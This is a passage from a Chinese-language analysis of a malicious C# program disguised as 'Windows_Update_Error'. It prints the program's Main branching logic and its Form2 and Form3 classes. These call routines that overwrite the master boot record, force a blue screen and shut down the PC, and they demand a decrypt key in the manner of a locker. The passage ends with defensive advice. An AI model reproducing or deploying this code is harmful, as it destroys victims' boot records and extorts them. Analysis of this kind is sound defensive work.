// 让当前线程暂停执行5000毫秒(即5秒),为前面的更新操作预留时间来完成后台任务或等待系统达到特定状态
Thread.Sleep(5000);
// 调用test1对象的Shutdown_PC方法,执行关闭电脑的操作,实现程序控制下的关机功能
test1.Shutdown_PC();
}
else if (regedit1_Start == "4397382")
{
// 当启动码为"4397382"时,调用Test类的GetMbr方法获取主引导记录(MBR)的数据,并赋值给定义的MBR字节数组,以便后续使用
MBR = Test.GetMbr();
// 启动名为Form2的Windows Forms应用程序窗口,Form2窗口承载后续要展示给用户的界面内容或相关操作逻辑
Application.Run(new Form2());
}
else
{
// 当启动码既不是"114514"也不是"4397382"时,执行以下操作
// 调用test1对象的killmbr方法,该方法用于执行与主引导记录(MBR)相关的特定操作,具体操作由该方法内部实现定义
test1.killmbr();
// 调用test1对象的Nt_Error方法,用于处理和Windows NT系统相关的特定错误情况,具体错误处理逻辑在该方法内部实现
test1.Nt_Error();
}
}
}
}
Main
方法:
功能:程序的主入口点,协调各类操作,是恶意程序的启动枢纽。
流程:首先初始化应用程序配置 ApplicationConfiguration.Initialize()
,创建 Regedit_Set
和 Test
类的实例。调用 Regedit_Set
实例的 Start_Detection
方法获取启动码,依据启动码不同执行不同分支逻辑。若启动码为 "114514"
,修改启动码为 "4397382"
,调用 Regedit_Set
实例的 Start_Update
方法传入修改后的启动码,暂停线程 5000 毫秒,再调用 Test
实例的 Shutdown_PC
方法关闭电脑;若启动码为 "4397382"
,调用 Test
实例的 GetMbr
方法获取 MBR 数据并赋值给定义的 MBR
字节数组,启动 Form2
;若启动码既不是 "114514"
也不是 "4397382"
,调用 Test
实例的 killmbr
和 Nt_Error
方法,破坏 MBR 并触发蓝屏。在执行各类注册表操作和系统设置修改时,若出现异常,通过弹出消息框显示错误信息。
(五)Form2
类
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
namespace Windows_Update_Error
{
// 表示Windows Forms应用程序中的一个窗体(Form2)类,包含执行恶意系统破坏相关操作的按钮点击事件处理程序
public partial class Form2 : Form
{
// Form2类的构造函数,用于初始化窗体 的组件,通常由Visual Studio设计器生成,负责设置窗体的可视化元素
public Form2()
{
InitializeComponent();
}
// 定义静态字符串,用于存储解密密钥相关信息,具体用途根据后续逻辑体现
public static string Decrypt_Key;
// 定义静态字符串,存储密钥相关信息,作用依后续代码逻辑而定
public static string Key;
private void label2_Click(object sender, EventArgs e)
{
}
private void label3_Click(object sender, EventArgs e)
{
}
private void label1_Click(object sender, EventArgs e)
{
}
// 点击时先禁用button2,显示Form3,再启用button2
private void button2_Click_1(object sender, EventArgs e)
{
button2.Enabled = false;
Form3 form3 = new Form3();
form3.Show();
button2.Enabled = true;
}
// 点击时先禁用button1,验证输入的文本是否与Decrypt_Key相等,相等则执行一系列系统相关操作并关机,不等则提示错误
private void button1_Click_1(object sender, EventArgs e)
{
button1.Enabled = false;
if (textBox1.Text == Decrypt_Key)
{
new Test().WriteMbr(Program.MBR);
Regedit_Set regedit = new Regedit_Set();
regedit.Disable_Settings(0);
regedit.PC_Start("explorer.exe");
regedit.Disable_Regedit(0);
regedit.Disable_Windows(false);
regedit.Start_Update("114514");
Thread.Sleep(2000);
new Test().Shutdown_PC();
}
else
{
MessageBox.Show("输入的Decrypt_Key不正确", "错误", MessageBoxButtons.OK, MessageBoxIcon.Error);
}
button1.Enabled = true;
}
private void textBox1_TextChanged(object sender, EventArgs e)
{
}
// Form2加载事件处理程序,生成随机密钥,获取解密密钥,同时执行破坏主引导记录(MBR)的操作
private void Form2_Load(object sender, EventArgs e)
{
Key = Test.Random_Key();
Decrypt_Key = new Key_Decrypt(Key).GetDecryptKey();
new Test().killmbr();
}
// button3的点击事件处理程序,点击后若用户确认“放弃”,则执行破坏主引导记录(MBR)及触发系统蓝屏(BSOD)的操作
private void button3_Click(object sender, EventArgs e)
{
if (MessageBox.Show("你真的要打算放弃吗", "警告", MessageBoxButtons.OKCancel, MessageBoxIcon.Warning) == DialogResult.OK)
{
new Test().killmbr();
new Test().Nt_Error();
}
}
private void groupBox1_Enter(object sender, EventArgs e)
{
}
}
}
此类包含多个按钮点击事件处理程序以及窗体加载事件处理程序,主要用于与用户交互并执行恶意操作。
Form2_Load
方法:生成随机密钥,获取解密密钥,同时执行破坏主引导记录(MBR)的操作,为防止用户擅自关闭计算机进入安全模式从而删除此程序。
button1_Click_1
方法:点击时先禁用 button1
,验证输入文本是否与 Decrypt_Key
相等,若相等则执行一系列系统恢复操作,包括写入正确 MBR、解除系统设置限制、将系统启动项设为正常的 explorer.exe
、解除注册表编辑限制、关闭相关功能限制、写入启动码 "114514"
,暂停线程 2000 毫秒后关机;若不相等则提示错误,最后启用 button1
。
button3_Click
方法:点击后若用户确认 “放弃”,则执行破坏主引导记录(MBR)及触发系统蓝屏(BSOD)的操作,效果如图
(六)Form3
类
代码实现
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
namespace Windows_Update_Error
{
public partial class Form3 : Form
{
public Form3()
{
InitializeComponent();
}
private void richTextBox1_TextChanged(object sender, EventArgs e)
{
}
private void button1_Click(object sender, EventArgs e)
{
button1.Enabled = false;
Clipboard.SetText(Form2.Key);
button1.Enabled = true;
}
private void Form3_Load(object sender, EventArgs e)
{
richTextBox1.Text = Form2.Key;
}
}
}
主要用于展示信息和提供交互功能辅助恶意程序。
Form3_Load
方法:在窗体加载时,将 Form2
中生成的随机密钥显示在 richTextBox1
中。
button1_Click
方法:点击时先禁用 button1
,将 Form2
中的随机密钥复制到剪贴板,最后启用 button1
。
三、总结
通过对这段恶意 C# 程序代码的详细解析,我们清晰地看到它如何利用系统漏洞、注册表操作以及底层硬件访问来破坏计算机系统的正常运行。在日常使用计算机时,务必保持警惕,安装可靠的杀毒软件,及时更新系统补丁,避免遭受此类恶意程序的侵害。